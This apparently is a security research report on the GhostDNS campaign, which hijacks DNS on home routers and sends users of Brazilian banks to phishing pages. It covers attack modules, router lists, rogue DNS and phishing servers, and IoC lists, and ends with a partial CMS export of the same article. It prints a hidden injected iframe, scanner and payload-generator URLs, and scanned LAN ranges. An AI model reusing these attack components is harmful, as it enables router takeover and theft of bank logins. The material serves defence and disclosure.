SpeedStream SpeedTouch Tenda TP-LINK TD-W8901G/TD-W8961ND/TD-8816 TP-LINK TD-W8960N TP-LINK TL-WR740N TRIZ TZ5500E/VIKING VIKING/DSLINK 200 U/E The Js DNSChanger sub-module Js DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System. For example, a Js DNSChanger code on the home page of 35.236.25.247 (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube). <iframe src="http://193.70.95.89/2021/" frameborder="0" height="0" scrolling="no" title="no" width="0"></iframe> The attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator. #Scanner http://193.70.95.89/2021/index2.php The payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme. #Payload generator http://193.70.95.89/2021/api.init.php?d=192.168.1.1 The attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface. The following is part of the code structure of JS DNSChanger: ├── api.init.php ├── index.php └── index2.php The following are affected routers/firmwares that we identified A-Link WL54AP3 / WL54AP2 D-Link DIR-905L Roteador GWR-120 Secutech RiS Firmware SMARTGATE TP-Link TL-WR841N / TL-WR841ND The following is the IP range it scans 192.168.0.1 192.168.15.1 192.168.1.1 192.168.25.1 192.168.100.1 10.0.0.1 192.168.2.1 The PyPhp DNSChanger sub-module PyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts: Web API. Through which attacker can control and schedule to run the program conveniently. Scanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker. Information of the Shodan API key is as follow: API key: LI****Lg9P8****X5iy****AaRO Created: 2017-11-03T16:55:13.425000 Plan: EDU Attack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing. Interestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot. The code structure of PyPhp DNSChanger ├── api ├── application │   ├── class │   │   ├── routers │   │   │   ├── routers.28ZE.php │   │   │   ├── routers.AN5506-02-B.php │   │   │   ├── routers.ELSYSCPE-2N.php │   │   │   ├── routers.PQWS2401.php │   │   │   ├── routers.TLWR840N.php │   │   │   ├── routers.WR941ND.php │   │   │   ├── routers.airos.php │   │   │   ├── routers.c3t.php │   │   │   ├── routers.cisconew.php │   │   │   ├── routers.dlink.905.php │   │   │   ├── routers.dlink.dir600.php │   │   │   ├── routers.dlink.dir610.php │   │   │   ├── routers.dlink.dir610o.php │   │   │   ├── routers.dlink.dir615.php │   │   │   ├── routers.fiberhome.php │   │   │   ├── routers.fiberhomenew.php │   │   │   ├── routers.ghotanboa.php │   │   │   ├── routers.goahed.php │   │   │   ├── routers.greatek.php │   │   │   ├── routers.greatek2.php │   │   │   ├── routers.gwr120.php │   │   │   ├── routers.huawei.php │   │   │   ├── routers.intelbras.php │   │   │   ├── routers.intelbras.wrn240.php │   │   │   ├── routers.intelbras.wrn300.php │   │   │   ├── routers.intelbrasN150.php │   │   │   ├── routers.linkone.php │   │   │   ├── routers.livetimdslbasic.php │   │   │   ├── routers.livetimsagecom.php │   │   │   ├── routers.mikrotkit.php │   │   │   ├── routers.multilaser.php │   │   │   ├── routers.oiwtech.php │   │   │   ├── routers.othermodels.php │   │   │   ├── routers.sharecenter.php │   │   │   ├── routers.thomson.php │   │   │   ├── routers.timdsl.php │   │   │   ├── routers.timvmg3312.php │   │   │   ├── routers.wirelessnrouter.php │   │   │   ├── routers.wrn1043nd.php │   │   │   ├── routers.wrn342.php │   │   │   ├── routers.wrn720n.php │   │   │   ├── routers.wrn740n.php │   │   │   ├── routers.wrn749n.php │   │   │   ├── routers.wrn840n.php │   │   │   ├── routers.wrn841n.php │   │   │   └── routers.wrn845n.php │   │   ├── routers_py │   │   │   ├── WR300build8333.py │   │   │   ├── install.sh │   │   │   ├── router.ArcherC7.py │   │   │   ├── router.FiberLink101.py │   │   │   ├── router.GEPONONU.py │   │   │   ├── router.PNRT150M.py │   │   │   ├── router.QBR1041WU.py │   │   │   ├── router.RoteadorWirelessN300Mbps.py │   │   │   ├── router.SAPIDORB1830.py │   │   │   ├── router.TENDAWirelessNBroadbandrouter.py │   │   │   ├── router.TLWR840N.py │   │   │   ├── router.TLWR841N.py │   │   │   ├── router.TLWR849N.py │   │   │   ├── router.TPLINKWR841N.py │   │   │   ├── router.TechnicLanWAR54GSv2.py │   │   │   ├── router.TendaWirelessRouter.py │   │   │   ├── router.WEBManagementSystem.py │   │   │   ├── router.WLANBroadbandRouter.py │   │   │   ├── router.WebUI.py │   │   │   ├── router.WirelessNWRN150R.py │   │   │   ├── router.WirelessRouter.py │   │   │   ├── router.WiveNGMTrouterfirmware.py │   │   │   ├── router.ZXHNH208N.py │   │   │   └── scan │   │   │   ├── __init__.py │   │   │   └── password.py │   │   ├── scanner │   │   │   └── class.scanner.utils.php │   │   ├── shodan │   │   │   ├── class.shodan.php │   │   │   └── cookie.txt │   │   ├── utils │   │   │   ├── class.colors.php │   │   │   ├── class.utils.php │   │   │   └── class.webrequest.php │   │   └── web │   │   ├── blockedtitles │   │   ├── class.web.api.php │   │   └── class.web.interface.php │   ├── config.bruteforce.php │   ├── config.init.php │   ├── config.layout.php │   ├── config.rangelist - bkp.php │   ├── config.rangelist.php │   ├── config.routers.php │   ├── config.scanner.php │   ├── launchers │   │   └── attack │   │   └── launch │   └── logs ├── logs │   ├── change.log │   └── gravar.php ├── parse_logs └── scanner ├── api.php ├── extrator.php ├── ranged_scanner.php ├── rodar.php ├── rodarlista.php ├── shodan.php └── teste.py The affected router/firmware we have identified AirRouter AirOS Antena PQWS2401 C3-TECH Router Cisco Router D-Link DIR-600 D-Link DIR-610 D-Link DIR-615 D-Link DIR-905L D-Link ShareCenter Elsys CPE-2n Fiberhome Fiberhome AN5506-02-B Fiberlink 101 GPON ONU Greatek GWR 120 Huawei Intelbras WRN 150 Intelbras WRN 240 Intelbras WRN 300 LINKONE MikroTik Multilaser OIWTECH PFTP-WR300 QBR-1041 WU Roteador PNRT150M Roteador Wireless N 300Mbps Roteador WRN150 Roteador WRN342 Sapido RB-1830 TECHNIC LAN WAR-54GS Tenda Wireless-N Broadband Router Thomson TP-Link Archer C7 TP-Link TL-WR1043ND TP-Link TL-WR720N TP-Link TL-WR740N TP-Link TL-WR749N TP-Link TL-WR840N TP-Link TL-WR841N TP-Link TL-WR845N TP-Link TL-WR849N TP-Link TL-WR941ND Wive-NG routers firmware ZXHN H208N Zyxel VMG3312 The Web Admin System We also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system. We notice a special label "Elite Priv8" on the login page of the Web Admin System. After some googling, we found the same description on a post titled "testador santander banking 2.1 versão beta elitepriv8" on a Brazilian security forum[4]. The following is the IP address of Web Admin Server 198.50.222.139 "AS16276 OVH SAS" The Rogue DNS System We have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira. Below is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0 {"domain": "avira.com.br", "rdata": ["0.0.0.0"]} {"domain": "banco.bradesco", "rdata": ["198.27.121.241"]} {"domain": "bancobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "bancodobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "bb.com.br", "rdata": ["193.70.95.89"]} {"domain": "bradesco.com.br", "rdata": ["193.70.95.89"]} {"domain": "bradesconetempresa.b.br", "rdata": ["193.70.95.89"]} {"domain": "bradescopj.com.br", "rdata": ["193.70.95.89"]} {"domain": "br.wordpress.com", "rdata": ["193.70.95.89"]} {"domain": "caixa.gov.br", "rdata": ["193.70.95.89"]} {"domain": "citibank.com.br", "rdata": ["193.70.95.89"]} {"domain": "clickconta.com.br", "rdata": ["193.70.95.89"]} {"domain": "contasuper.com.br", "rdata": ["193.70.95.89"]} {"domain": "credicard.com.br", "rdata": ["198.27.121.241"]} {"domain": "hostgator.com.br", "rdata": ["193.70.95.89"]} {"domain": "itau.com.br", "rdata": ["193.70.95.89"]} {"domain": "itaupersonnalite.com.br", "rdata": ["193.70.95.89"]} {"domain": "kinghost.com.br", "rdata": ["193.70.95.89"]} {"domain": "locaweb.com.br", "rdata": ["193.70.95.89"]} {"domain": "netflix.com.br", "rdata": ["35.237.127.167"]} {"domain": "netflix.com", "rdata": ["35.237.127.167"]} {"domain": "painelhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "santander.com.br", "rdata": ["193.70.95.89"]} {"domain": "santandernet.com.br", "rdata": ["193.70.95.89"]} {"domain": "sicredi.com.br", "rdata": ["193.70.95.89"]} {"domain": "superdigital.com.br", "rdata": ["193.70.95.89"]} {"domain": "umbler.com", "rdata": ["193.70.95.89"]} {"domain": "uolhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.banco.bradesco", "rdata": ["198.27.121.241"]} {"domain": "www.bancobrasil.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bb.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradesco.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradesconetempresa.b.br", "rdata": ["193.70.95.89"]} {"domain": "www.bradescopj.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.br.wordpress.com", "rdata": ["193.70.95.89"]} {"domain": "www.caixa.gov.br", "rdata": ["193.70.95.89"]} {"domain": "www.citibank.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.credicard.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.hostgator.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.itau.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.kinghost.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.locaweb.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.netflix.com", "rdata": ["193.70.95.89"]} {"domain": "www.netflix.net", "rdata": ["193.70.95.89"]} {"domain": "www.painelhost.uol.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.santander.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.santandernet.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.sicredi.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.superdigital.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.umbler.com", "rdata": ["193.70.95.89"]} {"domain": "www.uolhost.com.br", "rdata": ["193.70.95.89"]} {"domain": "www.uolhost.uol.com.br", "rdata": ["193.70.95.89"]} Below is the list of rogue DNS servers we have discovered. 139.60.162.188 "AS395839 HOSTKEY" 139.60.162.201 "AS395839 HOSTKEY" 144.22.104.185 "AS7160 Oracle Corporation" 173.82.168.104 "AS35916 MULTACOM CORPORATION" 18.223.2.98 "AS16509 Amazon.com, Inc." 185.70.186.4 "AS57043 Hostkey B.v." 192.99.187.193 "AS16276 OVH SAS" 198.27.121.241 "AS16276 OVH SAS" 200.196.240.104 "AS11419 Telefonica Data S.A." 200.196.240.120 "AS11419 Telefonica Data S.A." 35.185.9.164 "AS15169 Google LLC" 80.211.37.41 "AS31034 Aruba S.p.A." The Phishing Web System The rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname. Probing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites. md5, url, hostname, pishing web api 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php'] 42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php'] 4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php'] 492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php'] 492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php'] 5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php'] 70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php'] 748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php'] 97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php'] 9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php'] a80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] abcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php'] cf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php'] d01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php'] f71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php'] fbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php'] ffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php'] ffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php'] Below is the IP addresses of the phishing webserver. 193.70.95.89 "AS16276 OVH SAS" 198.27.121.241 "AS16276 OVH SAS" 35.237.127.167 "AS15169 Google LLC" Statistics of Infected Routers Based on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different. Below is the country list of infected IP addresses. BR 91605 BO 7644 AR 2581 SX 339 MX 265 VE 219 US 191 UY 189 CL 138 CO 134 GT 80 EC 71 GY 70 RU 61 RO 51 PY 38 PA 35 UA 34 HN 33 BG 33 Below is the list of web page titles from infected routers. 28ZE ADSL2 PLUS AIROS AN550602B BaseDashboard C3T Routers DIR600 1 DIR-615 DLINK Dlink DIR-610 Dlink DIR-611 DLINK DIR-905L DSL Router DSL Router - GKM 1220 ELSYS CPE-2N FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520 FiberLink101 GoAhead-Boa GoAhead-Webs GoAhead-Webs Routers GoAhed 302 GOTHAN GREATEK GWR-120 KP8696X Link One Mini_httpd Multilaser Router OIWTECH Proqualit Router Realtek Semiconductor Realtek Semiconductor [Title] Roteador ADSL Roteador Wireless KLR 300N Roteador Wireless N 150Mbps Roteador Wireless N 150 Mbps Roteador Wireless N 300 Mbps Roteador Wireless N 300 Mbps [ LinkOne ] Roteador Wireless N 300 Mbps [Link One] Roteador Wireless N ( MultiLaser ) Roteador Wireless N [ MultiLaser ] TENDA TimDSL TL-WR740N / TL-WR741ND TL-WR840N TL-WR849N TP-LINK Nano WR702N TP-LINK Roteador Wireless TP-LINK Roteador Wireless N WR741ND TP-LINK TL-WR941HP TP-LINK Wireless AP WA5210G TP-LINK Wireless Lite N Router WR740N TP-LINK Wireless Lite N Router WR749N TP-LINK Wireless N Gigabit Router WR1043ND TP-LINK Wireless N Router WR841N/WR841ND TP-LINK Wireless N Router WR845N TP-LINK Wireless N Router WR941ND TP-LINK Wireless Router TP-LINK WR340G TP-LINK WR720N TP-LINK WR740N TP-LINK WR741N TP-LINK WR743ND TP-LINK WR840N TP-LINK WR841HP TP-LINK WR841N TP-LINK WR940N TP-LINK WR941N TP-LINK WR949N Wireless-N Router Wireless Router WLAN AP Webserver ZNID Summary The GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process. We recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal. We also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products. Relevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses. Contact Us Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn. note:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!) IoC list #Pishing Web Server [takendown] 193.70.95.89 "AS16276 OVH SAS" [takendown] 198.27.121.241 "AS16276 OVH SAS" [takendown] 35.237.127.167 "AS15169 Google LLC" #Rogue DNS Server 139.60.162.188 "AS395839 HOSTKEY" 139.60.162.201 "AS395839 HOSTKEY" 173.82.168.104 "AS35916 MULTACOM CORPORATION" 18.223.2.98 "AS16509 Amazon.com, Inc." 185.70.186.4 "AS57043 Hostkey B.v." 200.196.240.104 "AS11419 Telefonica Data S.A." 200.196.240.120 "AS11419 Telefonica Data S.A." 80.211.37.41 "AS31034 Aruba S.p.A." [takendown] 35.185.9.164 "AS15169 Google LLC" [takendown] 144.22.104.185 "AS7160 Oracle Corporation" [takendown] 192.99.187.193 "AS16276 OVH SAS" [takendown] 198.27.121.241 "AS16276 OVH SAS" #Web Admin Server [takendown] 198.50.222.139 "AS16276 OVH SAS" #DNSChanger Scanner Server [takendown] 104.196.177.180 "AS15169 Google LLC" [takendown] 104.196.232.200 "AS15169 Google LLC" [takendown] 104.197.106.6 "AS15169 Google LLC" [takendown] 104.198.54.181 "AS15169 Google LLC" [takendown] 104.198.77.60 "AS15169 Google LLC" [takendown] 198.50.222.139 "AS16276 OVH SAS" [takendown] 35.185.127.39 "AS15169 Google LLC" [takendown] 35.185.9.164 "AS15169 Google LLC" [takendown] 35.187.149.224 "AS15169 Google LLC" [takendown] 35.187.202.208 "AS15169 Google LLC" [takendown] 35.187.238.80 "AS15169 Google LLC" [takendown] 35.188.134.185 "AS15169 Google LLC" [takendown] 35.189.101.217 "AS15169 Google LLC" [takendown] 35.189.125.149 "AS15169 Google LLC" [takendown] 35.189.30.127 "AS15169 Google LLC" [takendown] 35.189.59.155 "AS15169 Google LLC" [takendown] 35.189.63.168 "AS15169 Google LLC" [takendown] 35.189.92.68 "AS15169 Google LLC" [takendown] 35.194.197.94 "AS15169 Google LLC" [takendown] 35.195.116.90 "AS15169 Google LLC" [takendown] 35.195.176.44 "AS15169 Google LLC" [takendown] 35.196.101.227 "AS15169 Google LLC" [takendown] 35.197.148.253 "AS15169 Google LLC" [takendown] 35.197.172.214 "AS15169 Google LLC" [takendown] 35.198.11.42 "AS15169 Google LLC" [takendown] 35.198.31.197 "AS15169 Google LLC" [takendown] 35.198.5.34 "AS15169 Google LLC" [takendown] 35.198.56.227 "AS15169 Google LLC" [takendown] 35.199.106.0 "AS15169 Google LLC" [takendown] 35.199.2.186 "AS15169 Google LLC" [takendown] 35.199.61.19 "AS15169 Google LLC" [takendown] 35.199.66.147 "AS15169 Google LLC" [takendown] 35.199.77.82 "AS15169 Google LLC" [takendown] 35.200.179.26 "AS15169 Google LLC" [takendown] 35.200.28.69 "AS15169 Google LLC" [takendown] 35.203.111.239 "AS15169 Google LLC" [takendown] 35.203.135.65 "AS15169 Google LLC" [takendown] 35.203.143.138 "AS15169 Google LLC" [takendown] 35.203.167.224 "AS15169 Google LLC" [takendown] 35.203.18.30 "AS15169 Google LLC" [takendown] 35.203.183.182 "AS15169 Google LLC" [takendown] 35.203.25.136 "AS15169 Google LLC" [takendown] 35.203.3.16 "AS15169 Google LLC" [takendown] 35.203.48.110 "AS15169 Google LLC" [takendown] 35.203.5.160 "AS15169 Google LLC" [takendown] 35.203.8.203 "AS15169 Google LLC" [takendown] 35.204.146.109 "AS15169 Google LLC" [takendown] 35.204.51.103 "AS15169 Google LLC" [takendown] 35.204.77.160 "AS15169 Google LLC" [takendown] 35.204.80.189 "AS15169 Google LLC" [takendown] 35.205.148.72 "AS15169 Google LLC" [takendown] 35.205.24.104 "AS15169 Google LLC" [takendown] 35.221.110.75 "AS19527 Google LLC" [takendown] 35.221.71.123 "AS19527 Google LLC" [takendown] 35.227.25.22 "AS15169 Google LLC" [takendown] 35.228.156.223 "AS15169 Google LLC" [takendown] 35.228.156.99 "AS15169 Google LLC" [takendown] 35.228.240.14 "AS15169 Google LLC" [takendown] 35.228.244.19 "AS15169 Google LLC" [takendown] 35.228.73.198 "AS15169 Google LLC" [takendown] 35.228.90.15 "AS15169 Google LLC" [takendown] 35.230.104.237 "AS15169 Google LLC" [takendown] 35.230.158.25 "AS15169 Google LLC" [takendown] 35.230.162.54 "AS15169 Google LLC" [takendown] 35.230.165.35 "AS15169 Google LLC" [takendown] 35.231.163.40 "AS15169 Google LLC" [takendown] 35.231.60.255 "AS15169 Google LLC" [takendown] 35.231.68.186 "AS15169 Google LLC" [takendown] 35.232.10.244 "AS15169 Google LLC" [takendown] 35.234.131.31 "AS15169 Google LLC" [takendown] 35.234.136.116 "AS15169 Google LLC" [takendown] 35.234.156.85 "AS15169 Google LLC" [takendown] 35.234.158.120 "AS15169 Google LLC" [takendown] 35.234.77.117 "AS15169 Google LLC" [takendown] 35.234.89.25 "AS15169 Google LLC" [takendown] 35.234.94.97 "AS15169 Google LLC" [takendown] 35.236.117.108 "AS15169 Google LLC" [takendown] 35.236.2.49 "AS15169 Google LLC" [takendown] 35.236.222.1 "AS15169 Google LLC" [takendown] 35.236.246.82 "AS15169 Google LLC" [takendown] 35.236.25.247 "AS15169 Google LLC" [takendown] 35.236.254.11 "AS15169 Google LLC" [takendown] 35.236.34.51 "AS15169 Google LLC" [takendown] 35.237.127.167 "AS15169 Google LLC" [takendown] 35.237.204.11 "AS15169 Google LLC" [takendown] 35.237.215.211 "AS15169 Google LLC" [takendown] 35.237.32.144 "AS15169 Google LLC" [takendown] 35.237.68.143 "AS15169 Google LLC" [takendown] 35.238.4.122 "AS15169 Google LLC" [takendown] 35.238.74.24 "AS15169 Google LLC" [takendown] 35.240.156.17 "AS15169 Google LLC" [takendown] 35.240.212.106 "AS15169 Google LLC" [takendown] 35.240.234.169 "AS15169 Google LLC" [takendown] 35.240.94.181 "AS15169 Google LLC" [takendown] 35.241.151.23 "AS15169 Google LLC" [takendown] 35.242.134.99 "AS15169 Google LLC" [takendown] 35.242.140.13 "AS15169 Google LLC" [takendown] 35.242.143.117 "AS15169 Google LLC" [takendown] 35.242.152.241 "AS15169 Google LLC" [takendown] 35.242.203.94 "AS15169 Google LLC" [takendown] 35.242.245.109 "AS15169 Google LLC" [takendown] 40.74.85.45 "AS8075 Microsoft Corporation"

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)\n\n### Background introduction\n\nDNSchanger is not something new and was quite active years ago [[1\\]](https://en.wikipedia.org/wiki/DNSChanger), we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.\n\nWith that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[[2\\]](https://blog.radware.com/security/2018/08/iot-hackers-trick-brazilian-bank-customers/). Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions. \n\nJust like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[[3\\]](https://en.wikipedia.org/wiki/DNSChanger) through the corresponding DNS configuration interface. \n\nBut this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages. \n\nFurthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.\n\nCurrently the campaign mainly focuses on Brazil, we have counted **100k+** infected router IP addresses (87.8% located in Brazil), and **70+** router/firmware have been involved, and **50+** domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.\n\n### GhostDNS system\nThe GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.\n\n<a href=\"__GHOST_URL__/content/images/2018/10/ghostdns.png\"><img src=\"__GHOST_URL__/content/images/2018/10/ghostdns2.png\" /></a><center>Figure 1: Flow chart of GhostDNS（click to enlarge image）</center>\n\n#### DNSChanger System\nThe DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes **100+** attack scripts altogether, affecting **70+** different routers.\n\nThe three DNSChanger sub-modules\n<a href=\"__GHOST_URL__/content/images/2018/09/dnschanger.jpg\"><img src=\"__GHOST_URL__/content/images/2018/09/dnschanger-3.jpg\" /></a>\n\n#### The Shell DNSChanger sub-module\nThe Shell DNSChanger was first available around June 2016. It is basically a combination of **25** attack Shell scripts, which works on **21** routers/firmware.\n\nThis sub-module is only being used lightly, with limited deployment by the attacker.\n\nThis sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.\n\nAfter the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.\n\nThe following is the key code structure of Shell DNSChanger\n```bash\n├── brasil\n├── changers\n│   ├── 3com1\n│   ├── aprouter\n│   ├── dlink1\n│   ├── dlink2\n│   ├── dlink3\n│   ├── dlink4\n│   ├── dlink5\n│   ├── dlink6\n│   ├── dlink7\n│   ├── dlink7_\n│   ├── globaltronic\n│   ├── huawei\n│   ├── intelbrass\n│   ├── kaiomy\n│   ├── mikrotik\n│   ├── oiwtech\n│   ├── ralink\n│   ├── realtek\n│   